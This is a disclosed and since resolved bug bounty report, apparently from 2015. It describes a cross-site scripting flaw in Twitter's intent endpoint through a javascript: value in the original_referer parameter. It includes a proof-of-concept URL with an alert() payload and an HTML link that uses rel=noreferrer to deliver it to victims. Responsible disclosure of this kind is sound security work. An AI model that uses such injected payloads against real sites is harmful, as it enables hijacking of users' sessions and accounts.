XSS in original referrer after follow

Disclosed: 2015-03-09 18:37:58 By akhil-reni To x
Unknown
Vulnerability Details
**Hey hi,** There is a XSS in the intent functionality , Steps to reproduce ======================= 1) copy paste the following Link https://twitter.com/intent/favorite/complete?tweet_id=572435913768366080&already_favorited=false&original_referer=javascript:alert%281%29; 2) Click follow 3) now click return to previous site, you will see a xss triggered. Requirements ==================== - Make sure you pick a tweet of a user , that you don't follow. - to execute you need to send a null referrer. Here is the html code to attack victims ===================================== `<html> <a href="https://twitter.com/intent/favorite/complete?tweet_id=572435913768366080&already_favorited=false&original_referer=javascript:alert%281%29; " rel="noreferrer">click here and follow</a> </html>` **a rel=noreferrer will do our work.** **Regards Wesecureapp**
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Report Stats
  • Report ID: 50134
  • State: Closed
  • Substate: resolved
  • Upvotes: 4
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